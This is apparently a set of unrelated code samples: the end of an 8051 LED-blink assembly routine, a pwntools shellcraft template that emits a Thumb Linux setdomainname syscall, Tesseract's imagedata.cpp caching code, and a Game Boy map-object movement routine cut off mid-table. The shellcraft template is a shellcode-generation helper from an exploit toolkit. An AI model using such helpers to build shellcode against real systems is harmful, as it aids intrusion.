finish: ; End function
JMP main ; Redirects to main function
blink: ; LED Blink function
MOV P1,#224 ; Glow first 5 LEDs. Put 11100000 in P1
NOP ; No Operation
MOV R5,#50 ; For Delay routine
CALL delay ; Delay call
MOV P1,#255 ; Off all the LEDs. Put 11111111 in P1
NOP ; No Operation
MOV R5,#50
CALL delay ; Delay call
JMP main ; Jump to main function, to restart the truth table realization
delay: ; Delay routine
DJNZ R5,$ ; Decrease register value and jump here until value equals zero
RET ; return |
<%
from pwnlib.shellcraft.thumb.linux import syscall
%>
<%page args="name, length"/>
<%docstring>
Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information.
Arguments:
name(char): name
len(size_t): len
</%docstring>
${syscall('SYS_setdomainname', name, length)}
|
///////////////////////////////////////////////////////////////////////
// File: imagedata.cpp
// Description: Class to hold information about a single multi-page tiff
// training file and its corresponding boxes or text file.
// Author: Ray Smith
//
// (C) Copyright 2013, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
///////////////////////////////////////////////////////////////////////
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
# include "config_auto.h"
#endif
#include "imagedata.h"
#include "boxread.h" // for ReadMemBoxes
#include "rect.h" // for TBOX
#include "scrollview.h" // for ScrollView, ScrollView::CYAN, ScrollView::NONE
#include "tprintf.h" // for tprintf
#include "helpers.h" // for IntCastRounded, TRand, ClipToRange, Modulo
#include "serialis.h" // for TFile
#include <allheaders.h> // for pixDestroy, pixGetHeight, pixGetWidth, lept_...
#include <cinttypes> // for PRId64
namespace tesseract {
// Number of documents to read ahead while training. Doesn't need to be very
// large.
const int kMaxReadAhead = 8;
ImageData::ImageData() : page_number_(-1), vertical_text_(false) {}
// Takes ownership of the pix and destroys it.
ImageData::ImageData(bool vertical, Pix *pix) : page_number_(0), vertical_text_(vertical) {
SetPix(pix);
}
ImageData::~ImageData() {
#ifdef TESSERACT_IMAGEDATA_AS_PIX
pixDestroy(&internal_pix_);
#endif
}
// Builds and returns an ImageData from the basic data. Note that imagedata,
// truth_text, and box_text are all the actual file data, NOT filenames.
ImageData *ImageData::Build(const char *name, int page_number, const char *lang,
const char *imagedata, int imagedatasize, const char *truth_text,
const char *box_text) {
auto *image_data = new ImageData();
image_data->imagefilename_ = name;
image_data->page_number_ = page_number;
image_data->language_ = lang;
// Save the imagedata.
// TODO: optimize resize (no init).
image_data->image_data_.resize(imagedatasize);
memcpy(&image_data->image_data_[0], imagedata, imagedatasize);
if (!image_data->AddBoxes(box_text)) {
if (truth_text == nullptr || truth_text[0] == '\0') {
tprintf("Error: No text corresponding to page %d from image %s!\n", page_number, name);
delete image_data;
return nullptr;
}
image_data->transcription_ = truth_text;
// If we have no boxes, the transcription is in the 0th box_texts_.
image_data->box_texts_.push_back(truth_text);
// We will create a box for the whole image on PreScale, to save unpacking
// the image now.
} else if (truth_text != nullptr && truth_text[0] != '\0' &&
image_data->transcription_ != truth_text) {
// Save the truth text as it is present and disagrees with the box text.
image_data->transcription_ = truth_text;
}
return image_data;
}
// Writes to the given file. Returns false in case of error.
bool ImageData::Serialize(TFile *fp) const {
if (!fp->Serialize(imagefilename_))
return false;
if (!fp->Serialize(&page_number_))
return false;
if (!fp->Serialize(image_data_))
return false;
if (!fp->Serialize(language_))
return false;
if (!fp->Serialize(transcription_))
return false;
if (!fp->Serialize(boxes_))
return false;
if (!fp->Serialize(box_texts_))
return false;
int8_t vertical = vertical_text_;
return fp->Serialize(&vertical);
}
// Reads from the given file. Returns false in case of error.
bool ImageData::DeSerialize(TFile *fp) {
if (!fp->DeSerialize(imagefilename_))
return false;
if (!fp->DeSerialize(&page_number_))
return false;
if (!fp->DeSerialize(image_data_))
return false;
if (!fp->DeSerialize(language_))
return false;
if (!fp->DeSerialize(transcription_))
return false;
if (!fp->DeSerialize(boxes_))
return false;
if (!fp->DeSerialize(box_texts_))
return false;
int8_t vertical = 0;
if (!fp->DeSerialize(&vertical))
return false;
vertical_text_ = vertical != 0;
return true;
}
// As DeSerialize, but only seeks past the data - hence a static method.
bool ImageData::SkipDeSerialize(TFile *fp) {
if (!fp->DeSerializeSkip())
return false;
int32_t page_number;
if (!fp->DeSerialize(&page_number))
return false;
if (!GenericVector<char>::SkipDeSerialize(fp))
return false;
if (!fp->DeSerializeSkip())
return false;
if (!fp->DeSerializeSkip())
return false;
if (!GenericVector<TBOX>::SkipDeSerialize(fp))
return false;
int32_t number;
if (!fp->DeSerialize(&number))
return false;
for (int i = 0; i < number; i++) {
if (!fp->DeSerializeSkip()) {
return false;
}
}
int8_t vertical = 0;
return fp->DeSerialize(&vertical);
}
// Saves the given Pix as a PNG-encoded string and destroys it.
// In case of missing PNG support in Leptonica use PNM format,
// which requires more memory.
void ImageData::SetPix(Pix *pix) {
#ifdef TESSERACT_IMAGEDATA_AS_PIX
internal_pix_ = pix;
#else
SetPixInternal(pix, &image_data_);
#endif
}
// Returns the Pix image for *this. Must be pixDestroyed after use.
Pix *ImageData::GetPix() const {
#ifdef TESSERACT_IMAGEDATA_AS_PIX
# ifdef GRAPHICS_DISABLED
/* The only caller of this is the scaling functions to prescale the
* source. Thus we can just return a new pointer to the same data. */
return pixClone(internal_pix_);
# else
/* pixCopy always does an actual copy, so the caller can modify the
* changed data. */
return pixCopy(NULL, internal_pix_);
# endif
#else
return GetPixInternal(image_data_);
#endif
}
// Gets anything and everything with a non-nullptr pointer, prescaled to a
// given target_height (if 0, then the original image height), and aligned.
// Also returns (if not nullptr) the width and height of the scaled image.
// The return value is the scaled Pix, which must be pixDestroyed after use,
// and scale_factor (if not nullptr) is set to the scale factor that was applied
// to the image to achieve the target_height.
Pix *ImageData::PreScale(int target_height, int max_height, float *scale_factor, int *scaled_width,
int *scaled_height, std::vector<TBOX> *boxes) const {
int input_width = 0;
int input_height = 0;
Pix *src_pix = GetPix();
ASSERT_HOST(src_pix != nullptr);
input_width = pixGetWidth(src_pix);
input_height = pixGetHeight(src_pix);
if (target_height == 0) {
target_height = std::min(input_height, max_height);
}
float im_factor = static_cast<float>(target_height) / input_height;
if (scaled_width != nullptr)
*scaled_width = IntCastRounded(im_factor * input_width);
if (scaled_height != nullptr)
*scaled_height = target_height;
// Get the scaled image.
Pix *pix = pixScale(src_pix, im_factor, im_factor);
if (pix == nullptr) {
tprintf("Scaling pix of size %d, %d by factor %g made null pix!!\n", input_width, input_height,
im_factor);
pixDestroy(&src_pix);
return nullptr;
}
if (scaled_width != nullptr)
*scaled_width = pixGetWidth(pix);
if (scaled_height != nullptr)
*scaled_height = pixGetHeight(pix);
pixDestroy(&src_pix);
if (boxes != nullptr) {
// Get the boxes.
boxes->clear();
for (int b = 0; b < boxes_.size(); ++b) {
TBOX box = boxes_[b];
box.scale(im_factor);
boxes->push_back(box);
}
if (boxes->empty()) {
// Make a single box for the whole image.
TBOX box(0, 0, im_factor * input_width, target_height);
boxes->push_back(box);
}
}
if (scale_factor != nullptr)
*scale_factor = im_factor;
return pix;
}
int ImageData::MemoryUsed() const {
return image_data_.size();
}
#ifndef GRAPHICS_DISABLED
// Draws the data in a new window.
void ImageData::Display() const {
const int kTextSize = 64;
// Draw the image.
Pix *pix = GetPix();
if (pix == nullptr)
return;
int width = pixGetWidth(pix);
int height = pixGetHeight(pix);
auto *win =
new ScrollView("Imagedata", 100, 100, 2 * (width + 2 * kTextSize),
2 * (height + 4 * kTextSize), width + 10, height + 3 * kTextSize, true);
win->Image(pix, 0, height - 1);
pixDestroy(&pix);
// Draw the boxes.
win->Pen(ScrollView::RED);
win->Brush(ScrollView::NONE);
int text_size = kTextSize;
if (!boxes_.empty() && boxes_[0].height() * 2 < text_size)
text_size = boxes_[0].height() * 2;
win->TextAttributes("Arial", text_size, false, false, false);
if (!boxes_.empty()) {
for (int b = 0; b < boxes_.size(); ++b) {
boxes_[b].plot(win);
win->Text(boxes_[b].left(), height + kTextSize, box_texts_[b].c_str());
}
} else {
// The full transcription.
win->Pen(ScrollView::CYAN);
win->Text(0, height + kTextSize * 2, transcription_.c_str());
}
win->Update();
win->Wait();
}
#endif
// Adds the supplied boxes and transcriptions that correspond to the correct
// page number.
void ImageData::AddBoxes(const std::vector<TBOX> &boxes, const std::vector<std::string> &texts,
const std::vector<int> &box_pages) {
// Copy the boxes and make the transcription.
for (int i = 0; i < box_pages.size(); ++i) {
if (page_number_ >= 0 && box_pages[i] != page_number_)
continue;
transcription_ += texts[i];
boxes_.push_back(boxes[i]);
box_texts_.push_back(texts[i]);
}
}
#ifndef TESSERACT_IMAGEDATA_AS_PIX
// Saves the given Pix as a PNG-encoded string and destroys it.
// In case of missing PNG support in Leptonica use PNM format,
// which requires more memory.
void ImageData::SetPixInternal(Pix *pix, std::vector<char> *image_data) {
l_uint8 *data;
size_t size;
l_int32 ret;
ret = pixWriteMem(&data, &size, pix, IFF_PNG);
if (ret) {
ret = pixWriteMem(&data, &size, pix, IFF_PNM);
}
pixDestroy(&pix);
// TODO: optimize resize (no init).
image_data->resize(size);
memcpy(&(*image_data)[0], data, size);
lept_free(data);
}
// Returns the Pix image for the image_data. Must be pixDestroyed after use.
Pix *ImageData::GetPixInternal(const std::vector<char> &image_data) {
Pix *pix = nullptr;
if (!image_data.empty()) {
// Convert the array to an image.
const auto *u_data = reinterpret_cast<const unsigned char *>(&image_data[0]);
pix = pixReadMem(u_data, image_data.size());
}
return pix;
}
#endif
// Parses the text string as a box file and adds any discovered boxes that
// match the page number. Returns false on error.
bool ImageData::AddBoxes(const char *box_text) {
if (box_text != nullptr && box_text[0] != '\0') {
std::vector<TBOX> boxes;
std::vector<std::string> texts;
std::vector<int> box_pages;
if (ReadMemBoxes(page_number_, /*skip_blanks*/ false, box_text,
/*continue_on_failure*/ true, &boxes, &texts, nullptr, &box_pages)) {
AddBoxes(boxes, texts, box_pages);
return true;
} else {
tprintf("Error: No boxes for page %d from image %s!\n", page_number_, imagefilename_.c_str());
}
}
return false;
}
DocumentData::DocumentData(const std::string &name)
: document_name_(name)
, pages_offset_(-1)
, total_pages_(-1)
, memory_used_(0)
, max_memory_(0)
, reader_(nullptr) {}
DocumentData::~DocumentData() {
if (thread.joinable()) {
thread.join();
}
std::lock_guard<std::mutex> lock_p(pages_mutex_);
std::lock_guard<std::mutex> lock_g(general_mutex_);
}
// Reads all the pages in the given lstmf filename to the cache. The reader
// is used to read the file.
bool DocumentData::LoadDocument(const char *filename, int start_page, int64_t max_memory,
FileReader reader) {
SetDocument(filename, max_memory, reader);
pages_offset_ = start_page;
return ReCachePages();
}
// Sets up the document, without actually loading it.
void DocumentData::SetDocument(const char *filename, int64_t max_memory, FileReader reader) {
std::lock_guard<std::mutex> lock_p(pages_mutex_);
std::lock_guard<std::mutex> lock(general_mutex_);
document_name_ = filename;
pages_offset_ = -1;
max_memory_ = max_memory;
reader_ = reader;
}
// Writes all the pages to the given filename. Returns false on error.
bool DocumentData::SaveDocument(const char *filename, FileWriter writer) {
std::lock_guard<std::mutex> lock(pages_mutex_);
TFile fp;
fp.OpenWrite(nullptr);
if (!pages_.Serialize(&fp) || !fp.CloseWrite(filename, writer)) {
tprintf("Serialize failed: %s\n", filename);
return false;
}
return true;
}
// Adds the given page data to this document, counting up memory.
void DocumentData::AddPageToDocument(ImageData *page) {
std::lock_guard<std::mutex> lock(pages_mutex_);
pages_.push_back(page);
set_memory_used(memory_used() + page->MemoryUsed());
}
// If the given index is not currently loaded, loads it using a separate
// thread.
void DocumentData::LoadPageInBackground(int index) {
ImageData *page = nullptr;
if (IsPageAvailable(index, &page))
return;
std::lock_guard<std::mutex> lock(pages_mutex_);
if (pages_offset_ == index)
return;
pages_offset_ = index;
pages_.clear();
if (thread.joinable()) {
thread.join();
}
thread = std::thread(&tesseract::DocumentData::ReCachePages, this);
}
// Returns a pointer to the page with the given index, modulo the total
// number of pages. Blocks until the background load is completed.
const ImageData *DocumentData::GetPage(int index) {
ImageData *page = nullptr;
while (!IsPageAvailable(index, &page)) {
// If there is no background load scheduled, schedule one now.
pages_mutex_.lock();
bool needs_loading = pages_offset_ != index;
pages_mutex_.unlock();
if (needs_loading)
LoadPageInBackground(index);
// We can't directly load the page, or the background load will delete it
// while the caller is using it, so give it a chance to work.
std::this_thread::yield();
}
return page;
}
// Returns true if the requested page is available, and provides a pointer,
// which may be nullptr if the document is empty. May block, even though it
// doesn't guarantee to return true.
bool DocumentData::IsPageAvailable(int index, ImageData **page) {
std::lock_guard<std::mutex> lock(pages_mutex_);
int num_pages = NumPages();
if (num_pages == 0 || index < 0) {
*page = nullptr; // Empty Document.
return true;
}
if (num_pages > 0) {
index = Modulo(index, num_pages);
if (pages_offset_ <= index && index < pages_offset_ + pages_.size()) {
*page = pages_[index - pages_offset_]; // Page is available already.
return true;
}
}
return false;
}
// Removes all pages from memory and frees the memory, but does not forget
// the document metadata.
int64_t DocumentData::UnCache() {
std::lock_guard<std::mutex> lock(pages_mutex_);
int64_t memory_saved = memory_used();
pages_.clear();
pages_offset_ = -1;
set_total_pages(-1);
set_memory_used(0);
tprintf("Unloaded document %s, saving %" PRId64 " memory\n", document_name_.c_str(),
memory_saved);
return memory_saved;
}
// Shuffles all the pages in the document.
void DocumentData::Shuffle() {
TRand random;
// Different documents get shuffled differently, but the same for the same
// name.
random.set_seed(document_name_.c_str());
int num_pages = pages_.size();
// Execute one random swap for each page in the document.
for (int i = 0; i < num_pages; ++i) {
int src = random.IntRand() % num_pages;
int dest = random.IntRand() % num_pages;
std::swap(pages_[src], pages_[dest]);
}
}
// Locks the pages_mutex_ and Loads as many pages can fit in max_memory_
// starting at index pages_offset_.
bool DocumentData::ReCachePages() {
std::lock_guard<std::mutex> lock(pages_mutex_);
// Read the file.
set_total_pages(0);
set_memory_used(0);
int loaded_pages = 0;
pages_.truncate(0);
TFile fp;
if (!fp.Open(document_name_.c_str(), reader_) || !fp.DeSerializeSize(&loaded_pages) ||
loaded_pages <= 0) {
tprintf("Deserialize header failed: %s\n", document_name_.c_str());
return false;
}
pages_offset_ %= loaded_pages;
// Skip pages before the first one we want, and load the rest until max
// memory and skip the rest after that.
int page;
for (page = 0; page < loaded_pages; ++page) {
if (page < pages_offset_ || (max_memory_ > 0 && memory_used() > max_memory_)) {
if (!PointerVector<ImageData>::DeSerializeSkip(&fp)) {
tprintf("Deserializeskip failed\n");
break;
}
} else {
if (!pages_.DeSerializeElement(&fp))
break;
ImageData *image_data = pages_.back();
if (image_data->imagefilename().length() == 0) {
image_data->set_imagefilename(document_name_);
image_data->set_page_number(page);
}
set_memory_used(memory_used() + image_data->MemoryUsed());
}
}
if (page < loaded_pages) {
tprintf("Deserialize failed: %s read %d/%d lines\n", document_name_.c_str(), page,
loaded_pages);
pages_.truncate(0);
} else {
tprintf("Loaded %d/%d lines (%d-%d) of document %s\n", pages_.size(), loaded_pages,
pages_offset_ + 1, pages_offset_ + pages_.size(), document_name_.c_str());
}
set_total_pages(loaded_pages);
return !pages_.empty();
}
// A collection of DocumentData that knows roughly how much memory it is using.
DocumentCache::DocumentCache(int64_t max_memory) : max_memory_(max_memory) {}
DocumentCache::~DocumentCache() {
for (auto *document : documents_) {
delete document;
}
}
// Adds all the documents in the list of filenames, counting memory.
// The reader is used to read the files.
bool DocumentCache::LoadDocuments(const std::vector<std::string> &filenames,
CachingStrategy cache_strategy, FileReader reader) {
cache_strategy_ = cache_strategy;
int64_t fair_share_memory = 0;
// In the round-robin case, each DocumentData handles restricting its content
// to its fair share of memory. In the sequential case, DocumentCache
// determines which DocumentDatas are held entirely in memory.
if (cache_strategy_ == CS_ROUND_ROBIN)
fair_share_memory = max_memory_ / filenames.size();
for (int arg = 0; arg < filenames.size(); ++arg) {
std::string filename = filenames[arg];
auto *document = new DocumentData(filename);
document->SetDocument(filename.c_str(), fair_share_memory, reader);
AddToCache(document);
}
if (!documents_.empty()) {
// Try to get the first page now to verify the list of filenames.
if (GetPageBySerial(0) != nullptr)
return true;
tprintf("Load of page 0 failed!\n");
}
return false;
}
// Adds document to the cache.
bool DocumentCache::AddToCache(DocumentData *data) {
documents_.push_back(data);
return true;
}
// Finds and returns a document by name.
DocumentData *DocumentCache::FindDocument(const std::string &document_name) const {
for (auto *document : documents_) {
if (document->document_name() == document_name) {
return document;
}
}
return nullptr;
}
// Returns the total number of pages in an epoch. For CS_ROUND_ROBIN cache
// strategy, could take a long time.
int DocumentCache::TotalPages() {
if (cache_strategy_ == CS_SEQUENTIAL) {
// In sequential mode, we assume each doc has the same number of pages
// whether it is true or not.
if (num_pages_per_doc_ == 0)
GetPageSequential(0);
return num_pages_per_doc_ * documents_.size();
}
int total_pages = 0;
for (auto *document : documents_) {
// We have to load a page to make NumPages() valid.
document->GetPage(0);
total_pages += document->NumPages();
}
return total_pages;
}
// Returns a page by serial number, selecting them in a round-robin fashion
// from all the documents. Highly disk-intensive, but doesn't need samples
// to be shuffled between files to begin with.
const ImageData *DocumentCache::GetPageRoundRobin(int serial) {
int num_docs = documents_.size();
int doc_index = serial % num_docs;
const ImageData *doc = documents_[doc_index]->GetPage(serial / num_docs);
for (int offset = 1; offset <= kMaxReadAhead && offset < num_docs; ++offset) {
doc_index = (serial + offset) % num_docs;
int page = (serial + offset) / num_docs;
documents_[doc_index]->LoadPageInBackground(page);
}
return doc;
}
// Returns a page by serial number, selecting them in sequence from each file.
// Requires the samples to be shuffled between the files to give a random or
// uniform distribution of data. Less disk-intensive than GetPageRoundRobin.
const ImageData *DocumentCache::GetPageSequential(int serial) {
int num_docs = documents_.size();
ASSERT_HOST(num_docs > 0);
if (num_pages_per_doc_ == 0) {
// Use the pages in the first doc as the number of pages in each doc.
documents_[0]->GetPage(0);
num_pages_per_doc_ = documents_[0]->NumPages();
if (num_pages_per_doc_ == 0) {
tprintf("First document cannot be empty!!\n");
ASSERT_HOST(num_pages_per_doc_ > 0);
}
// Get rid of zero now if we don't need it.
if (serial / num_pages_per_doc_ % num_docs > 0)
documents_[0]->UnCache();
}
int doc_index = serial / num_pages_per_doc_ % num_docs;
const ImageData *doc = documents_[doc_index]->GetPage(serial % num_pages_per_doc_);
// Count up total memory. Background loading makes it more complicated to
// keep a running count.
int64_t total_memory = 0;
for (auto *document : documents_) {
total_memory += document->memory_used();
}
if (total_memory >= max_memory_) {
// Find something to un-cache.
// If there are more than 3 in front, then serial is from the back reader
// of a pair of readers. If we un-cache from in-front-2 to 2-ahead, then
// we create a hole between them and then un-caching the backmost occupied
// will work for both.
int num_in_front = CountNeighbourDocs(doc_index, 1);
for (int offset = num_in_front - 2; offset > 1 && total_memory >= max_memory_; --offset) {
int next_index = (doc_index + offset) % num_docs;
total_memory -= documents_[next_index]->UnCache();
}
// If that didn't work, the best solution is to un-cache from the back. If
// we take away the document that a 2nd reader is using, it will put it
// back and make a hole between.
int num_behind = CountNeighbourDocs(doc_index, -1);
for (int offset = num_behind; offset < 0 && total_memory >= max_memory_; ++offset) {
int next_index = (doc_index + offset + num_docs) % num_docs;
total_memory -= documents_[next_index]->UnCache();
}
}
int next_index = (doc_index + 1) % num_docs;
if (!documents_[next_index]->IsCached() && total_memory < max_memory_) {
documents_[next_index]->LoadPageInBackground(0);
}
return doc;
}
// Helper counts the number of adjacent cached neighbours of index looking in
// direction dir, ie index+dir, index+2*dir etc.
int DocumentCache::CountNeighbourDocs(int index, int dir) {
int num_docs = documents_.size();
for (int offset = dir; abs(offset) < num_docs; offset += dir) {
int offset_index = (index + offset + num_docs) % num_docs;
if (!documents_[offset_index]->IsCached())
return offset - dir;
}
return num_docs;
}
} // namespace tesseract.
|
INCLUDE "data/sprites/facings.asm"
INCLUDE "data/sprites/map_objects.asm"
DeleteMapObject::
push bc
ld hl, OBJECT_MAP_OBJECT_INDEX
add hl, bc
ld a, [hl]
push af
ld h, b
ld l, c
ld bc, OBJECT_STRUCT_LENGTH
xor a
call ByteFill
pop af
cp -1
jr z, .ok
bit 7, a
jr nz, .ok
call GetMapObject
ld hl, OBJECT_SPRITE
add hl, bc
ld [hl], -1
.ok
pop bc
ret
Function437b:
call .CheckObjectStillVisible
ret c
call .HandleStepType
call .HandleObjectAction
ret
.CheckObjectStillVisible:
ld hl, OBJECT_FLAGS2
add hl, bc
res OBJ_FLAGS2_6, [hl]
ld a, [wXCoord]
ld e, a
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld a, [hl]
add 1
sub e
jr c, .ok
cp MAPOBJECT_SCREEN_WIDTH
jr nc, .ok
ld a, [wYCoord]
ld e, a
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld a, [hl]
add 1
sub e
jr c, .ok
cp MAPOBJECT_SCREEN_HEIGHT
jr nc, .ok
jr .yes
.ok
ld hl, OBJECT_FLAGS2
add hl, bc
set OBJ_FLAGS2_6, [hl]
ld a, [wXCoord]
ld e, a
ld hl, OBJECT_INIT_X
add hl, bc
ld a, [hl]
add 1
sub e
jr c, .ok2
cp MAPOBJECT_SCREEN_WIDTH
jr nc, .ok2
ld a, [wYCoord]
ld e, a
ld hl, OBJECT_INIT_Y
add hl, bc
ld a, [hl]
add 1
sub e
jr c, .ok2
cp MAPOBJECT_SCREEN_HEIGHT
jr nc, .ok2
.yes
and a
ret
.ok2
ld hl, OBJECT_FLAGS1
add hl, bc
bit WONT_DELETE_F, [hl]
jr nz, .yes2
call DeleteMapObject
scf
ret
.yes2
ld hl, OBJECT_FLAGS2
add hl, bc
set OBJ_FLAGS2_6, [hl]
and a
ret
.HandleStepType:
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld a, [hl]
and a
jr z, .zero
ld hl, OBJECT_FLAGS2
add hl, bc
bit OBJ_FLAGS2_5, [hl]
jr nz, .bit5
cp STEP_TYPE_SLEEP
jr z, .one
jr .ok3
.zero
call ObjectMovementReset
ld hl, OBJECT_FLAGS2
add hl, bc
bit OBJ_FLAGS2_5, [hl]
jr nz, .bit5
.one
call MapObjectMovementPattern
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld a, [hl]
and a
ret z
cp STEP_TYPE_SLEEP
ret z
.ok3
ld hl, StepTypesJumptable
rst JumpTable
ret
.bit5
ret
.HandleObjectAction:
ld hl, OBJECT_FLAGS1
add hl, bc
bit INVISIBLE_F, [hl]
jr nz, SetFacingStanding
ld hl, OBJECT_FLAGS2
add hl, bc
bit OBJ_FLAGS2_6, [hl]
jr nz, SetFacingStanding
bit OBJ_FLAGS2_5, [hl]
jr nz, asm_4448
ld de, ObjectActionPairPointers ; use first column
jr _HandleObjectAction
Function4440:
ld hl, OBJECT_FLAGS1
add hl, bc
bit INVISIBLE_F, [hl]
jr nz, SetFacingStanding
asm_4448:
ld de, ObjectActionPairPointers + 2 ; use second column
jr _HandleObjectAction
_HandleObjectAction:
; call [4 * wObjectStructs[ObjInd, OBJECT_ACTION] + de]
ld hl, OBJECT_ACTION
add hl, bc
ld a, [hl]
ld l, a
ld h, 0
add hl, hl
add hl, hl
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
call _hl_
ret
INCLUDE "engine/overworld/map_object_action.asm"
CopyNextCoordsTileToStandingCoordsTile:
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld a, [hl]
ld hl, OBJECT_MAP_X
add hl, bc
ld [hl], a
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld a, [hl]
ld hl, OBJECT_MAP_Y
add hl, bc
ld [hl], a
ld hl, OBJECT_NEXT_TILE
add hl, bc
ld a, [hl]
ld hl, OBJECT_STANDING_TILE
add hl, bc
ld [hl], a
call SetTallGrassFlags
ld hl, OBJECT_NEXT_TILE
add hl, bc
ld a, [hl]
call UselessAndA
ret
Function462a:
ld hl, OBJECT_MAP_X
add hl, bc
ld a, [hl]
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld [hl], a
ld hl, OBJECT_MAP_Y
add hl, bc
ld a, [hl]
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld [hl], a
ret
UpdateTallGrassFlags:
ld hl, OBJECT_FLAGS2
add hl, bc
bit OVERHEAD_F, [hl]
jr z, .ok
ld hl, OBJECT_NEXT_TILE
add hl, bc
ld a, [hl]
call SetTallGrassFlags
.ok
ld hl, OBJECT_NEXT_TILE
add hl, bc
ld a, [hl]
call UselessAndA
ret c ; never happens
ld hl, OBJECT_STANDING_TILE
add hl, bc
ld a, [hl]
call UselessAndA
ret
SetTallGrassFlags:
call CheckSuperTallGrassTile
jr z, .set
call CheckGrassTile
jr c, .reset
.set
ld hl, OBJECT_FLAGS2
add hl, bc
set OVERHEAD_F, [hl]
ret
.reset
ld hl, OBJECT_FLAGS2
add hl, bc
res OVERHEAD_F, [hl]
ret
UselessAndA:
and a
ret
EndSpriteMovement:
xor a
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld [hl], a
ld hl, OBJECT_MOVEMENT_BYTE_INDEX
add hl, bc
ld [hli], a
ld [hli], a
ld [hli], a
ld [hl], a ; OBJECT_1E
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ret
InitStep:
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], a
ld hl, OBJECT_FLAGS1
add hl, bc
bit FIXED_FACING_F, [hl]
jr nz, GetNextTile
add a
add a
and %00001100
ld hl, OBJECT_FACING
add hl, bc
ld [hl], a
GetNextTile:
call GetStepVector
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], a
ld a, d
call GetStepVectorSign
ld hl, OBJECT_MAP_X
add hl, bc
add [hl]
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld [hl], a
ld d, a
ld a, e
call GetStepVectorSign
ld hl, OBJECT_MAP_Y
add hl, bc
add [hl]
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld [hl], a
ld e, a
push bc
call GetCoordTile
pop bc
ld hl, OBJECT_NEXT_TILE
add hl, bc
ld [hl], a
ret
AddStepVector:
call GetStepVector
ld hl, OBJECT_SPRITE_X
add hl, bc
ld a, [hl]
add d
ld [hl], a
ld hl, OBJECT_SPRITE_Y
add hl, bc
ld a, [hl]
add e
ld [hl], a
ret
GetStepVector:
; Return (x, y, duration, speed) in (d, e, a, h).
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld a, [hl]
and %00001111
add a
add a
ld l, a
ld h, 0
ld de, StepVectors
add hl, de
ld d, [hl]
inc hl
ld e, [hl]
inc hl
ld a, [hli]
ld h, [hl]
ret
StepVectors:
; x, y, duration, speed
; slow
db 0, 1, 16, 1
db 0, -1, 16, 1
db -1, 0, 16, 1
db 1, 0, 16, 1
; normal
db 0, 2, 8, 2
db 0, -2, 8, 2
db -2, 0, 8, 2
db 2, 0, 8, 2
; fast
db 0, 4, 4, 4
db 0, -4, 4, 4
db -4, 0, 4, 4
db 4, 0, 4, 4
GetStepVectorSign:
add a
ret z ; 0 or 128
ld a, 1
ret nc ; 1 - 127
ld a, -1
ret ; 129 - 255
UpdatePlayerStep:
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld a, [hl]
and %00000011
ld [wPlayerStepDirection], a
call AddStepVector
ld a, [wPlayerStepVectorX]
add d
ld [wPlayerStepVectorX], a
ld a, [wPlayerStepVectorY]
add e
ld [wPlayerStepVectorY], a
ld hl, wPlayerStepFlags
set PLAYERSTEP_CONTINUE_F, [hl]
ret
Unreferenced_Function4759:
push bc
ld e, a
ld d, 0
ld hl, OBJECT_MAP_OBJECT_INDEX
add hl, bc
ld a, [hl]
call GetMapObject
add hl, de
ld a, [hl]
pop bc
ret
RestoreDefaultMovement:
ld hl, OBJECT_MAP_OBJECT_INDEX
add hl, bc
ld a, [hl]
cp -1
jr z, .ok
push bc
call GetMapObject
ld hl, MAPOBJECT_MOVEMENT
add hl, bc
ld a, [hl]
pop bc
ret
.ok
ld a, SPRITEMOVEFN_STANDING
ret
ClearObjectMovementByteIndex:
ld hl, OBJECT_MOVEMENT_BYTE_INDEX
add hl, bc
ld [hl], 0
ret
IncrementObjectMovementByteIndex:
ld hl, OBJECT_MOVEMENT_BYTE_INDEX
add hl, bc
inc [hl]
ret
DecrementObjectMovementByteIndex:
ld hl, OBJECT_MOVEMENT_BYTE_INDEX
add hl, bc
dec [hl]
ret
MovementAnonymousJumptable:
ld hl, OBJECT_MOVEMENT_BYTE_INDEX
add hl, bc
ld a, [hl]
pop hl
rst JumpTable
ret
ClearObjectStructField1c:
ld hl, OBJECT_1C
add hl, bc
ld [hl], 0
ret
IncrementObjectStructField1c:
ld hl, OBJECT_1C
add hl, bc
inc [hl]
ret
Field1cAnonymousJumptable:
ld hl, OBJECT_1C
add hl, bc
ld a, [hl]
pop hl
rst JumpTable
ret
GetValueObjectStructField1c:
ld hl, OBJECT_1C
add hl, bc
ld a, [hl]
ret
SetValueObjectStructField1c:
ld hl, OBJECT_1C
add hl, bc
ld [hl], a
ret
ObjectMovementReset:
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld d, [hl]
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld e, [hl]
push bc
call GetCoordTile
pop bc
ld hl, OBJECT_NEXT_TILE
add hl, bc
ld [hl], a
call CopyNextCoordsTileToStandingCoordsTile
call EndSpriteMovement
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
MapObjectMovementPattern:
call ClearObjectStructField1c
call GetSpriteMovementFunction
ld a, [hl]
ld hl, .Pointers
rst JumpTable
ret
.Pointers:
; entries correspond to SPRITEMOVEFN_* constants
